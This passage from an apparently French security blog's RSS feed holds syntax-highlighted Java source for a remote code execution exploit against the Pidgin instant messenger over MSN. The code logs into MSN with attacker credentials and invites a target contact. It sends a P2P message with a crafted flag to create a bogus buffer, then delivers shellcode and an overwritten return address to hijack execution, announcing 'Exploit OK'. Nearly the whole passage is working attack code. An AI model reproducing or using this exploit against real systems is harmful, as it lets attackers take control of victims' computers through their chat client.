   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> args<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">Exception</span> <span style="color: #009900;">&#123;</span>
&nbsp;
       <span style="color: #000000; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>args.<span style="color: #006633;">length</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
           <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;PidginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #009900;">&#125;</span><span style="color: #000000; font-weight: bold;">else</span><span style="color: #009900;">&#123;</span>
           PidginExploit exploit <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> PidginExploit<span style="color: #009900;">&#40;</span>args<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span>,args<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span>,args<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
           exploit.<span style="color: #006633;">start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #009900;">&#125;</span>
&nbsp;
   <span style="color: #009900;">&#125;</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">public</span> PidginExploit<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> login, <span style="color: #003399;">String</span> password, <span style="color: #003399;">String</span> target<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
       <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">login</span> <span style="color: #339933;">=</span> login<span style="color: #339933;">;</span>
       <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">password</span> <span style="color: #339933;">=</span> password<span style="color: #339933;">;</span>
       <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">target</span> <span style="color: #339933;">=</span> target<span style="color: #339933;">;</span>
&nbsp;
       neweip <span style="color: #339933;">=</span> reteip <span style="color: #339933;">-</span> shellcode.<span style="color: #006633;">length</span> <span style="color: #339933;">;</span>
&nbsp;
       <span style="color: #000000; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">int</span> i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span>shellcode.<span style="color: #006633;">length</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
           payload<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> shellcode<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
       payload<span style="color: #009900;">&#91;</span>shellcode.<span style="color: #006633;">length</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>neweip <span style="color: #339933;">&amp;</span> 0x000000FF<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       payload<span style="color: #009900;">&#91;</span>shellcode.<span style="color: #006633;">length</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>neweip <span style="color: #339933;">&amp;</span> 0x0000FF00<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;&gt;</span> <span style="color: #cc66cc;">8</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       payload<span style="color: #009900;">&#91;</span>shellcode.<span style="color: #006633;">length</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>neweip <span style="color: #339933;">&amp;</span> 0x00FF0000<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;&gt;</span> <span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       payload<span style="color: #009900;">&#91;</span>shellcode.<span style="color: #006633;">length</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>neweip <span style="color: #339933;">&amp;</span> 0xFF000000<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;&gt;</span> <span style="color: #cc66cc;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> start<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
       messenger <span style="color: #339933;">=</span> MsnMessengerFactory.<span style="color: #006633;">createMsnMessenger</span><span style="color: #009900;">&#40;</span>login,password<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       messenger.<span style="color: #006633;">getOwner</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">setInitStatus</span><span style="color: #009900;">&#40;</span>MsnUserStatus.<span style="color: #006633;">ONLINE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       messenger.<span style="color: #006633;">setLogIncoming</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       messenger.<span style="color: #006633;">setLogOutgoing</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       initMessenger<span style="color: #009900;">&#40;</span>messenger<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       messenger.<span style="color: #006633;">login</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000066; font-weight: bold;">void</span> initMessenger<span style="color: #009900;">&#40;</span>MsnMessenger messenger<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
   messenger.<span style="color: #006633;">addContactListListener</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> MsnContactListAdapter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
           <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> contactListInitCompleted<span style="color: #009900;">&#40;</span>MsnMessenger messenger<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
               <span style="color: #000000; font-weight: bold;">final</span> <span style="color: #003399;">Object</span> id <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">Object</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
               messenger.<span style="color: #006633;">addSwitchboardListener</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> MsnSwitchboardAdapter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
                   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> switchboardStarted<span style="color: #009900;">&#40;</span>MsnSwitchboard switchboard<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
                       <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>id <span style="color: #339933;">!=</span> switchboard.<span style="color: #006633;">getAttachment</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                           <span style="color: #000000; font-weight: bold;">return</span><span style="color: #339933;">;</span>
&nbsp;
                       switchboard.<span style="color: #006633;">inviteContact</span><span style="color: #009900;">&#40;</span>Email.<span style="color: #006633;">parseStr</span><span style="color: #009900;">&#40;</span>target<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                   <span style="color: #009900;">&#125;</span>
&nbsp;
                   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> contactJoinSwitchboard<span style="color: #009900;">&#40;</span>MsnSwitchboard switchboard, MsnContact contact<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                       <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>id <span style="color: #339933;">!=</span> switchboard.<span style="color: #006633;">getAttachment</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                           <span style="color: #000000; font-weight: bold;">return</span><span style="color: #339933;">;</span>
&nbsp;
                       MsnP2PSlpMessage msg <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> MsnP2PSlpMessage<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                       msg.<span style="color: #006633;">setIdentifier</span><span style="color: #009900;">&#40;</span>NumberUtils.<span style="color: #006633;">getIntRandom</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                       msg.<span style="color: #006633;">setSessionId</span><span style="color: #009900;">&#40;</span>session_id<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                       msg.<span style="color: #006633;">setOffset</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                       msg.<span style="color: #006633;">setTotalLength</span><span style="color: #009900;">&#40;</span>totallength<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                       msg.<span style="color: #006633;">setCurrentLength</span><span style="color: #009900;">&#40;</span>totallength<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                       <span style="color: #666666; font-style: italic;">// This flag create a bogus MsnSlpPacket in pidgin memory with a buffer pointing to null</span>
                       <span style="color: #666666; font-style: italic;">// We'll use this buffer to rewrite memory in the stack</span>
                       msg.<span style="color: #006633;">setFlag</span><span style="color: #009900;">&#40;</span>0x1000020<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                       msg.<span style="color: #006633;">setP2PDest</span><span style="color: #009900;">&#40;</span>target<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                       switchboard.<span style="color: #006633;">sendMessage</span><span style="color: #009900;">&#40;</span>msg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                       <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;First packet sent, waiting for the ACK&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                   <span style="color: #009900;">&#125;</span>
&nbsp;
                   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> switchboardClosed<span style="color: #009900;">&#40;</span>MsnSwitchboard switchboard<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                       <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;switchboardClosed&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                       switchboard.<span style="color: #006633;">getMessenger</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">removeSwitchboardListener</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                   <span style="color: #009900;">&#125;</span>
&nbsp;
                   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> contactLeaveSwitchboard<span style="color: #009900;">&#40;</span>MsnSwitchboard switchboard, MsnContact contact<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                       <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;contactLeaveSwitchboard&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                   <span style="color: #009900;">&#125;</span>
               <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               messenger.<span style="color: #006633;">newSwitchboard</span><span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
           <span style="color: #009900;">&#125;</span>
       <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       messenger.<span style="color: #006633;">addMessageListener</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> MsnMessageAdapter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
           <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> p2pMessageReceived<span style="color: #009900;">&#40;</span>MsnSwitchboard switchboard,MsnP2PMessage message,MsnContact contact<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
               <span style="color: #666666; font-style: italic;">//We receive the ACK of our first packet with the ID of the new bogus packet</span>
               message.<span style="color: #006633;">getIdentifier</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
               MsnP2PDataMessage msg <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> MsnP2PDataMessage<span style="color: #009900;">&#40;</span>session_id, message.<span style="color: #006633;">getIdentifier</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, neweip,
                       payload.<span style="color: #006633;">length</span>, payload, target<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
               switchboard.<span style="color: #006633;">sendMessage</span><span style="color: #009900;">&#40;</span>msg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ACK received &amp;&amp; Payload sent !&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Exploit OK ! CTRL+C to quit&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
           <span style="color: #009900;">&#125;</span>
       <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
&nbsp;
       messenger.<span style="color: #006633;">addMessengerListener</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> MsnMessengerAdapter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
           <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> loginCompleted<span style="color: #009900;">&#40;</span>MsnMessenger messenger<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
               <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span>messenger.<span style="color: #006633;">getOwner</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">getEmail</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot; login&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
           <span style="color: #009900;">&#125;</span>
&nbsp;
           <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> logout<span style="color: #009900;">&#40;</span>MsnMessenger messenger<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
               <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span>messenger.<span style="color: #006633;">getOwner</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">getEmail</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot; logout&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
           <span style="color: #009900;">&#125;</span>
&nbsp;
           <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> exceptionCaught<span style="color: #009900;">&#40;</span>MsnMessenger messenger,
                   <span style="color: #003399;">Throwable</span> throwable<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
               <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;caught exception: &quot;</span> <span style="color: #339933;">+</span> throwable<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
           <span style="color: #009900;">&#125;</span>
       <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
   <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/exploits/exploit-pidgin-msn-2-5-8-execution-de-code-a-distance/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
